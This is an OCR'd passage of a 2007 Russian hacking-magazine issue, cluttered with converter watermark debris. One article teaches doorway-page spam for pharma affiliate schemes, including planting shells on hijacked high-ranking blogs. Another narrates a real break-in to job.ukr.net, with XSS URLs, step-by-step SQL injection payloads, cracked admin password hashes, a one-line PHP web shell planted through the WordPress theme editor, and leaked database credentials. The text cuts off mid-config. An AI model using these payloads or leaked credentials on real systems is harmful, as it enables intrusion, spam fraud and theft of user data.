Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
19.94 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Magic SEO Toolz для поиска и взлома блогов

 

 

 

 

 

1)ищутся низкочастотные, низкоконкурентные запросы

 

 

 

 

 

 

buy cheap viagra

 

 

 

к поисковикам (далее НЧ), называемые также кеями или

 

order viagra

 

 

 

кейвордами;

 

viagra cost

 

 

 

2)на основе этих НЧ генерируются HTML-странички, связан-

 

discount viagra

 

 

 

ные между собой в некое подобие сайта (чем больше кеев, тем

 

generic viagra

 

 

 

больше страничек и тем лучше для нас);

 

viagra sales

links

 

3)на главную страничку дорвея вставляется зашифрованный

 

viagra for women

http://frenzy.org.ru/

 

редирект (обычно iframe, Java, AJAX) на твой аккаунт в SEO-

 

viagra vs

blog.php — дорвеинг

 

партнерке;

 

using viagra

от А до Я.

 

4)после того как дорвей будет полностью готов, его необхо-

 

get viagra

 

 

 

димо проспамить с помощью специальных утилит для спама,

 

viagra ad

http://palutemu.com

 

которые оставят сообщения со ссылками на дор везде, где

 

viagra use

— палю тему :).

 

только можно (в форумах, гостевых и т.д.);

 

viagra ads

 

 

 

5)затем сиди и жди в статистике твоей партнерки первый на-

 

viagra sex

http://chingiz.org

 

бежавший траф, переходы и покупки :). И, конечно же, получай

 

 

— блог Chingiz’а.

 

 

 

 

за это спонсорское бабло.

 

Вот это и есть те самые НЧ-кеи. Их можно смело юзать при

 

 

 

Надеюсь, суть ты уяснил, но это лишь теория. На практике все

 

генерации дорвея. Ах да, для нашего дорвея, конечно же,

http://gofuckbiz.com

 

сложнее, и далеко не каждый успешно осядет в теме. Но обо

 

нужен аккаунт какой-либо партнерки :). Я могу посоветовать

— один из лучших

 

всем по порядку...

 

тебе http://umaxlogin.com (PPC) и http://rx-partners.biz (про-

SEO-форумов.

 

 

 

 

 

дажи фармы). Для регистрации на ресурсах нужны инвайты,

 

 

 

 

Делаем дор

 

поспрашивай их у знакомых или на форуме сеошников

http://seo-library.

 

 

 

 

 

 

 

Как же создать дор? Вручную? Малоэффективно. Значит,

 

http://umaxforum.com.

com — блог «не-

 

программно — доргеном.

 

Вернемся к нашему сгенеренному дору... После успешного

замутненного»

 

Есть доргены локальные (они создают дор на жестком диске,

 

создания этот дор нужно куда-то залить. Конечно, можно

оптимизатора.

 

а заливать его на сервер придется ручками), а есть — сер-

 

залить его на бесплатные хостинги или сделать свой сайт на

 

 

 

верные (и создают, и заливают одновременно). Конкретная

 

платном хостинге, но все это как-то не по-кулхацкерски :).

http://umaxforum.

 

программа не так важна. Она, как ни странно, почти ни на

 

Мы будем ломать пиаристые домены (PR — рейтинг сайта по

com — форум

 

что не влияет. Здесь главное — выбрать подходящую тему и

 

Гуглу), а еще лучше пиаристые блоги, которые этот самый Гугл

umax’а.

 

правильно проспамить ресурс. Но это не значит, что не стоит

 

просто обожает и индексирует моментально (так называемая

 

 

 

уделять внимание доргену и разбираться в его функциональ-

 

«черная оптимизация»). В качестве примера возьмем всеми

www.armadaboard.

 

ности. Из бесплатных доргенов я могу тебе посоветовать

 

любимый WordPress. Чтобы не напрягаться со взломом, мо-

com — еще один

 

Doorway Page Wizard, из платных одной из самых рульных

 

жешь перерыть подшивку «Хакера» за этот год либо постучать

форум по SEO.

 

является прога от LeZZvie — red.Button (стоит 100 wmz,

 

ко мне в аську за паком сплоитов для этого движка. Заходим

 

 

 

купить ее можно на http://lezzvie.ru/rb). Первая прога может

 

в Гугл, вводим в окне запроса что-то типа «site:*.com powered

http://reanimator.

 

потребовать для своей работы кейворды (поскольку сервис,

 

by wordpress». Конечно, можно искать не только в зоне .com.

blogseo.ru — SEO

 

из которого прога сама вытаскивает кеи, часто висит), а во

 

Скажу по секрету: наибольший траст у Гугла вызывают зоны

Tools.

 

второй уже встроен нормально работающий парсер кеев :).

 

.edu, .gov, .mil. Далее жамкаем «Поиск» :). Теперь необхо-

 

 

 

Поэтому немного расскажу тебе о том, как же добывать эти

 

димо определить PR найденных ссылок. Для этого идем на

http://zaharov-

 

самые кейворды.

 

любимый мной сервис http://n0body.com/scripts/adv/pr.php и

ax.livejournal.com

 

Для поиска кейвордов существует множество специализи-

 

заливаем шеллы на наиболее пиаристые из них :).

— заметки дорвей-

 

рованных сервисов, мы же выберем один из них — http://

 

Далее нужно все это дело проспамить. Схема спама очень

щика.

 

megaoverture.com/getkeywords. Заходим, вводим в окошко

 

простая: берется гостевая книга (то есть любая страница в

 

 

 

любой кейворд (например, из фармы всеми любимую виагру),

 

интернете с возможностью ее изменения) и в ней ставится

http://adne.info — за-

 

капчу (для тех, кто в танке, — картинку с циферками и буков-

 

ссылка на дор. Через энное количество времени Гугл находит

метки о SEO.

 

ками для защиты от автоматических запросов) и давим Get!

 

эту ссылку, и по достижении определенного порога (количе-

 

 

 

Сервис выдаст тебе кучу НЧ, например:

 

ства и качества ссылок) дор индексируется и появляется в

http://klikforum.com

 

 

 

 

 

выдаче. Расписывать тут, как спамить, я не буду :). Могу лишь

— и еще один SEO-

 

 

viagra

 

посоветовать для этого всем известный приватно-платный

форум.

 

 

what is viagra

 

Xrumer с авторегой и обходом капчи.

 

 

 

 

 

 

 

 

 

 

xàêåð 12 /108/ 07

069

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Блин, я купил себе поесть, и денег больше не осталось.

Петров, бедняга, работа админом делает тебя голодным? Ну на тебе немного кэша. А вообще, подтягивайся, будем вместе нагоднять траф с поисковиков.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сделай сам!

Атеперьмывместестобойсделаемсвойпервыйдор.Дляпримеравозьмем ужеупоминавшуюсявышевиагруинайденныедлянеекеи.Далееидемв DoorwayPageWizard(DPW),чтобысгенеритьдор(руководствкпрограмме винетеоченьмного,поэтомуописыватьработупрогиянестану).ТутDPW

запроситссылку,покоторойбудетпроходитьредирект;еетысможешьвзятьв партнерке(обычновразделеLinks).Послегенерациидоразаливаемполученноенавзломанныйпиаристыйшеллидумаем,какспамить.Дляэтогоищем гостевыекниги,форумыилюбыескриптывинете,гдеможнооставлятьсвои комментарии,дляэтогоможнозаюзатьлибоAgressParser,либопарсерГугла (например,http://yourguest.com.ru/test.php).Мывозьмемдляпримеравторой. Итак,вводимвверхнееполеguestaddинажимаем«Искать»,онвыведет списокгостевух.Причем,еслиPRгостевойкнигименьшечетырех,можешь неприниматьтакойсайтвовнимание(приручномспаме).Такиегесты нужнытем,ктоспамиттысячигестсразу.Вообще,спамитьвручную,конечно же,неэффективно.ВышеятебеужесоветовалХрумер.Такжетыможешь

Aggress Parser

поискатьнаSEO-форумахлюбойхалявныйавтосабмиттер.Например,есть программаStonediverMultiSubmitter(www.ougo.com/multisubmit/tests

прилагающимсямануаломпопрогеотодногоизизвестнейшихсеошников

—GreenWood’а:http://bloggreenwood.com/comments/759_0_1_0_C/).Ей тожеможноспамить,нопрогаоченьтормознаяиглючная.ЕщемогупорекомендоватьSmartPoster.Онплатный,ноничтонемешаеттебепоискатькряк. Как видишь, в дорвеинге без приватного софта не обойтись. Надеюсь, что суть ты понял и купишь себе нужные проги (поверь, это того стоит :)).

Злоключение

Перечитай еще раз внимательно все, что я тут понаписал, и еще внимательнее — врезку с интервью и начинай действовать прямо сейчас. Ведь как Новый год встретишь, так его и проведешь :). Да, и я надеюсь, что тебе хватит вечнозеленых президентов, для того чтобы отблагодарить меня ящиком-другим пива сразу после зимних праздников. С Новым годом, новоиспеченный оптимизитор! z

Обзорпартнерок, безкоторых необойтись

ПартнерскиепрограммыPPC:

www.umaxlogin.com—известнейшаяPPC-партнерка,работающаяс русскимивеб-местерами.75%отстоимостибида.

klikvip.com—PPCдлябуржуйскоготрафа,ежедневныевыплаты. www.CompactSEO.com—высокиебиды,быстрыевыплаты. peakclick.com—ещеоднаPPC,хорошиебиды(99%). marketing.3fn.net—надежнаяPPCсеженедельнымивыплатами. www.xmlcash.com—партнеркаотMauser’a.Платяткаждуюнеделю, минималка—$5.

click-click.ru—русскаяPPC.

clickcashmoney.com—выкупаютроссийскийтраф;выплатыразвнеде- лювWebMoney;минимальнаясуммавыплат—$15. www.searchfeed.com—здесьможнокупить/продатьрекламу.Крупная буржуйскаяPPC-партнерка.

ПартнерскиепрограммыPPS(Pay-Per-Sell/Sign): adultfriendfinder.com—$0,3зарегистрациюмужчиныи$1,5за регистрациюженщиныплюс50%отстоимостикупленныхимиуслуг пожизненно.

rengodating.com — реселлер AdultFriendFinder, $2 за любую регистрацию.

stimul-media.com—русскаяPPS.

www.videoscash.com—конвертацияадалтногоилимусорноготрафа. www.adultcash.ru—конвертацияадалтноготрафа. www.joebucks.com — партнерка, торгующая «травяными» препаратами.

rx-partners.biz—ещеоднаfarmacy-партнерка(работающаясфарма- цевтикой).До50%комиссии.ЕженедельныевыплатывWebMoney, Fethard,Neteller,PayPal,WireTransfer,Stormpay,Moneybookers,E-Gold, E-Passporte.

www.rxpayouts.com—ещеоднаfarmacy-партнерка. www.affiliatepharmacynetwork.com—партнерскаяпрограммапофар-

мацевтике.Предоставляетдлясвоихпартнеровтехническуюпомощьи нарусскомязыке.

genbucks.com—партнерскаяпрограммапофармацевтике. www.pharmamedics.com—партнерскаяпрограммапофармацевтике. evapharmacy.biz—партнерскаяпрограммапофармацевтике.Комисси- онныедо45%.

www.affiliatecube.com—разносторонняяпартнерскаяпрограммапо популярнымтемамвинтернете.

shopxml.com—серьезнаяпартнеркаотMauser’aпо ювелирке,детоксам, чармсам,пирсингуимедицинскимтестам.

affiliate.comfi.com—партнеркапопродажемеждународныхтелефон-

ныхкарточек(phonecards,telephonecards,callingcards).

070

xàêåð 12 /108/ 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

info

Бид — цена за клик в PPC.

Фид — то место под твоим аккаунтом,

Приватный дорген red.Button Приватная спамилка куда переходит юзер с поисковика в PPC.

Интервью

Длятогочтобытыпонял,какподнявшиесялюдирубятсвоибабки,я представляютвоемувниманиюинтервьюсоднимизуспешныхсеош- ников—extrim.Понеслась:).

(Орфографияистилистикасохранены) Mag(с):

Приветствую:). extrim:

Привет. Mag(с):

Какнастроение? extrim:

Наплываетпотихоньку...Времясейчасхорошее:). Mag(с):

О,этохорошо:),ятутхотелнемноготебяпопытатьнатемудорвееводства,тыкак?

extrim:

Ммм...Пытай...Тольконебольно...:) Mag(с):

Ок:).Какдавнотывтеме?ИкаквообщепришелвSEO? extrim:

Втемеясравнительнонедавно...Даже,таксказать,новичоквмире SEO...Втемупришелчутьбольшеполугоданазад:подвернуласьссылка насайткакого-тосеошника...Тамбылополноеописаниепримитивных доровсфри-прогойдлягенерацииинемногосоветовначинающему дорвейщику...Решилпрочесть...

Mag(с):

Воткаквсепросто:).Скажи,легколибылоначинать,какиевстречалисьпрепятствиянапутиикакиепрогипредпочитаешьдляведения биза?

extrim:

Неповеришь...Я,какребенок,спаливиделтысячидолларовнасчету WebMoney,новсекрутообламывалось...Впервыймесяцянезаработал ницента...Но,обоги,деньгипошли...замесяцясрубил100баков...

ЭтиденьгиибылидляменяначаломкарьерывСЕО.Якупил дорген...

ууважаемогомнойLezzvie(www.lezzvie.ru),тогдаэтобылфорум-гене- ратор,ныне—red.Button...Авторнетолькопомогмненастроитьего, ноиподсказалнекоторыенюансывСЕО...Далееянакупилдоменов иначалспамить...Спамилрукаминавысокопиаристыересурсы:). Какиепроги?Ну,какяужесказал,доргенотЛеззвияплюссамописная спамилкаодногомоегохорошегодруга.Инемногофантастикиввиде высокопиаристыхдоменов...пробитьсясновыхдоменовнереально. Mag(с):

Тыдумаешь,чтонереально?Акакжевсеэтирассказыпрофарма-мага- зиныибелуюоптимизациюнафриварныххостингах?

extrim:

Нановыхдоменах...Не,нереально...какойтрастдлянихупоисковиков?Это,каклевыйчеловекподойдетктебенаулицеипопроситпоз-

вонитьмобилускамерой:).Фарма-магазины...реальнаятема...нотам опятьженуженоченьхорошийплатящийфарма-траф,япоканеготов уйтисPPCнасайнапы...Фриварныехостинги...ну,какбытаксказать...

да,дорывылезают...ноневсе...нужноуметьихискать...Япредпочитаю кушатьхлебскраснойикройввидешелловктрастовымдоменам:(.

Ахда,тыпробелуюоптимизацию...«Нет,мама,этофантастика».Фантастикавпланетого,чтонужноубитьнеменьшегода,длятогочтобырас- крутитьбелыйпроектхотькак-то...Атутчерезпарумесяцевпоявится конкурент,которыйутебятвойбелыйхлебзаберет...Явэтоневерю. Mag(с):

Интересно....Расскажи,доменыкакоготипапользуютсянаибольшим трастомуГуглаи,кактыдумаешь,каковасудьба.eduвдальнейшем? Будутлиониещепущебаниться?:)

extrim:

.eduужеотъездились...Гуглуженедоверяетимтак...Раньшенарод делалтысячибаксоввденьседух...Сейчастемаснимипрактически померла...Какоготипа?Старые-старыедоменысхорошимпр...иеще одномаленькоено(онемнетакхочетсяговорить...).

Mag(с):

Нонашиммногоуважаемымчитателямтысможешьобэтомносказать?:)

extrim:

Понимаешь,алгоритмыменяются...Нужнопростоследитьианализи- ровать...Тупоклепатьдорыиспамитьих—сэтогомногонезаработа- ешь...Тутвседомелочей:имя,возраст,страна...

Mag(с):

Ясно,подробностисвоегобизаниктонехочетпалить:).Ну,надеюсь, иэтойинфыбудетдостаточно.Скажи,алегколивообщедобывать пиаристыедомены,кудаможнолитьдоры?

extrim:

Легко...покрайнеймере,мне...Янепокупаюничего...Явседелаю сам...Домен—дор—спам.Эксплойтамиживетипроцветаетнаша страна:(.

Mag(с):

Авкакойобластитысамкрутишься?Фарма,адалт?Спалинесколько хорошихкеев.

extrim:

Начиналсадалта...Сейчаснафарме...tramadol,viagra,cialis:). Mag(с):

Спасибозаответы:).Иеще,еслинесекрет,сколькотысейчасзарабатываешьвмесяц?

extrim:

Покачто3квялыхенотов:). Mag(с):

Думаю,этобудетхорошийстимулдлянашихчитателей.Несмеюбольшетебязадерживать,огромныйреспектзаинтервью!:)

extrim:

Надеюсь,этоинтервьюпоможетпаредорвейщиков.Тольконешколь- ников-пятиклассников:).Дети,таблетки—этонеигрушки!

Mag(с):

Ятоженаэтонадеюсь:).

xàêåð 12 /108/ 07

071

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Александр «lamarez» Еременко

/ uaxakep@gmail.com /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Ukr.netпод хакерским колпаком

Взлом крупного интернет-холдинга

Какое-то время назад я прочитал пафосную статью, в которой были названы крупней-

шие интернет-холдинги Украины. В список входили такие конторы, как «Спутник-ме-

диа» (известный в народе как Bigmir), «Укрнет» (ukr.net), oboz.ua (знакомый в первую очередь благодаря своей интернет-газете «Обозреватель»), а также «РБК-Украина»

(rbc.ua, utro.ua). Все бы ничего, но в августовском номере «Хакера» была статья, посвя-

щенная взлому «Бигмира», которая не оставила меня равнодушным, вдохновив на «под-

виг». «Чем я хуже?» — подумал я и стал быстро разрабатывать план внедрения во второй по счету холдинг ukr.net.

На старт, внимание, марш!

Ущерб от взлома крупных холдинговых компаний оценивается в миллионы, а то и в десятки миллионов баксов (как это было с «Бигмиром»). Поэтому хачить подобные организации — довольно рискованное занятие, ведь зачастую такие конторы не экономят на сисадминах, кодерах и, самое главное, юристах.

Ладно,янестанугрузитьтебянотациямииперейдунепосредственнокопи- саниювзлома.Новначалескажу,что,ломаячто-либо,я(даиврядлиодиня :))всегдаобращаюсьзапомощьюкГуглу.Иэтотразнесталисключением...

Итак, я залез в мой любимый поисковик и вбил нехитрый запрос «site: ukr.net». Получив огромное количество страниц, я приступил к поиску

интересных ответов. Сперва мой взор упал на сайт globe.ukr.net, но эксперименты с его контентом ничего не дали. Единственной победой была бесполезная XSS (http://globe.ukr.net/_data_handler. aspx?callback=<h1>test</test>’_fillCountries&cnt=countries_

mainpage). Посмотрев несколько других сайтов от ukr.net, я нашел еще одну банальную XSS на paycard.ukr.net (проект специально заточен под статистику трафика неудачников-диалапщиков). URL выглядел примерно так:

http://paycard.ukr.net:8080/pls/abs/web_un.show?page_n ame=<script>alert('lol');</script>&logname=&chksum=

072

xàêåð 12 /108/ 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

>> взломto BUY

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Наглядный процесс брута хэшей

Но меня не интересовали XSS, я хотел найти что-то более серьезное, вроде SQL-инъекции или инклуда. А потому я вернулся в Гугл и сделал свой запрос более навороченным: «filetype:php site:ukr.net inurl:id=», что в переводе на русский означало: «Иди туда, не знаю куда, принеси то, не знаю что». Шутка. А если серьезно, перевод был следующим: «Найти все ссылки в файлах с расширением php во всех доменах *.ukr.net, в которых встречается фраза 'id='».

Удача не заставила себя ждать. В глаза практически сразу бросился линк http://job.ukr.net/viewres/view_IDres.php?rid=450717. Посмотрев на эту страницу повнимательнее, я догадался, что тут может быть SQL-инъект. Но сразу рваться в бой я не стал, а лишь попробовал добавить к запросу «‘». К моему удивлению, сервер в ответ ничего не выдал. Это означало, что

либо скрипт беспощадно фильтровал значение переменной rid, либо вывод ошибок был отключен.

Но я не отчаивался — главное было зацепиться. Я подставил в переменную rid значение 450717+AND+1=1/* (что всегда означает логическое true) и сравнил с результатом значения 450717+AND+1=2/* (что всегда означает логическое false). Причем в первом случае ответ был идентичен оригиналу

(http://job.ukr.net/viewres/view_IDres.php?rid=450717). Это доказывало факт наличия инъекции.

Сразу же после моего очередного открытия я приступил к подбору числа колонок. Ситуацию омрачал тот факт, что вывод ошибок был отключен. Таким образом, пришлось все делать вручную, а не с помощью скриптов.

Через несколько минут я получил то, что хотел, — колонок оказалось значительное количество, аж 37 штук. Конечный URL выглядел так:

http://job.ukr.net/viewres/view_IDres.php?rid=- 1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37/*

К счастью, вывод данных присутствовал, и я мог получить все значения таблиц. Первое, что я попробовал сделать, — это вывести поля с mysql.user, но обломался — доступа не было.

Подставив на место 19 й колонки конструкцию «concat_ws(char(59),vers ion(),user())», я узнал, что функция version() возвратила значение 5.0.24a (версия MySQL), а функция user() вернула jobuser@host15 (имя пользовате-

ля MySQL).

Любимый MySQL5

Так как СУБД была из пятой ветки, я мог вывести информацию из таблички INFORMATION_SCHEMA, а это значило, что мне не придется подбирать название таблиц/колонок. А это уже очень круто!

Итак, уже через 5 минут у меня был огромный список таблиц (состоящий из 225 штук). Быстро просмотрев его, я обратил внимание только на три: members, wp2_users, wp_users. Но для уверенности, что в таблицах содержатся конфиденциальные данные юзеров, я инжектировал следующий запрос:

Главная страница пораженного портала

SELECT table_name FROM information_schema.columns WHERE information_schema.columns.column_name LIKE '%pass%';

В ответ на этот финт мне вывелись все те же таблицы (их полный список ты можешь найти на нашем DVD), что не могло не радовать. Исходя из названий некоторых табличек (wp2_users, wp_users), можно было догадаться, что это WordPress (далее WP).

Чуть позже я узнал названия колонок обоих таблиц. Получив данные из wp2_users и wp_users, я обратил внимание на даты регистраций (в wp2_users — шесть юзеров, wp_users — восемь) и понял, что wp2_users

содержала более новые регистрации, в связи с чем хэши из нее и полетели в любимый PasswordsPro.

Спустя 2-3 минуты после старта брута я расшифровал ровно половину хэшей:

login:md5(pass):pass

dron:698d51a19d8a121ce581499d7b701668:111

prach:61731aee5b7b352ccd9b75cdb5d0d081:prach

cover:7694f4a66316e53c8cdd9d9954bd611d:q

Вот такие смешные пароли ставят админы на таких огромных сайтах, как ukr.net.

Сам движок WP висел на http://job.ukr.net/news. Получив реальные пароли, я пошел в атаку. Панель администрирования располагалась по адресу http://job.ukr.net/news/wp-login.php, куда я и направил свой браузер.

На полпути к успеху

Так я стал админом! Теперь я мог создавать, редактировать и удалять новости, но мне этого было мало. Как известно, в WP без труда можно получить шелл с помощью редактора шаблонов, переписав PHP-файл, входящий в состав шаблона. Это я и сделал. Как? Сейчас объясню.

Сначала я вписал в index_.php (так назывался имеющийся в движке PHPфайл) стандартный однострочный шелл типа:

<?if(isset($_GET['cmd']){system($_GET['cmd']);}?>,

Затем зашел по урлу http://job.ukr.net/news/wp-content/themes/ simpla1/index_.php?cmd=id, но, к своему сожалению, не получил никакого результата :(.

Но я не отчаялся, а решил залить полноценный многофункциональный шелл, работающий через opendir(). На удивление, получилось, и передо мной предстал список файлов, данные о системе и... предательский safe_mod :(. Из-за него мои права были сильно урезаны, и потому я не

получил никаких привилегий в системе. Мне даже не удавалось прочитать /etc/passwd, что очень огорчало.

Не падая духом, я начал искать конфиги — это, несмотря на safe_mod, я мог делать. Прочитав /var/www/job/config.php, я увидел логин/пароль от БД:

xàêåð 12 /108/ 07

073

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Контент в удобочитаемом формате

RST-MуSQL. Без комментариев

warning

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Содержимое/var/www/job/config.php

<?php

//Database connection $db_host = "localhost"; $db_name = "ajob"; $db_login = "akella"; $db_pass = "alleka";

#echo 'bebebe';

//Establishment

$db_link = mysql_connect( $db_host,$db_login,$db_pass);

$db_selected = mysql_select_db( $db_name, $db_link);

//Disable errors error_reporting(

E_ALL ^ E_WARNING ^ E_NOTICE);

//Inclusion path

#ini_set('include_path',

'/var/www/ukr.net');

?>

Я тут же попробовал приконнектиться к БД следующим линком:

http://job.ukr.net/news/wp-content/themes/ simpla1/sqldump.php?s=y&login=akella&passwd= akella&server=localhost&port=3306

Список табличек в уязвимой базе :)

074

Но, как назло, логин и пасс не подходили. И мне предстояло выяснить почему. Для исправления ситуации, я решил посмотреть другой конфиг — /var/www/job/news/config.php,

но и там пароля не оказалось. Но внимательнее посмотрев, я обнаружил, что он инклудил в себе третий конфиг:

Содержимое

/var/www/job/classes/mysql.config.php

<?php

class mysql_ini{

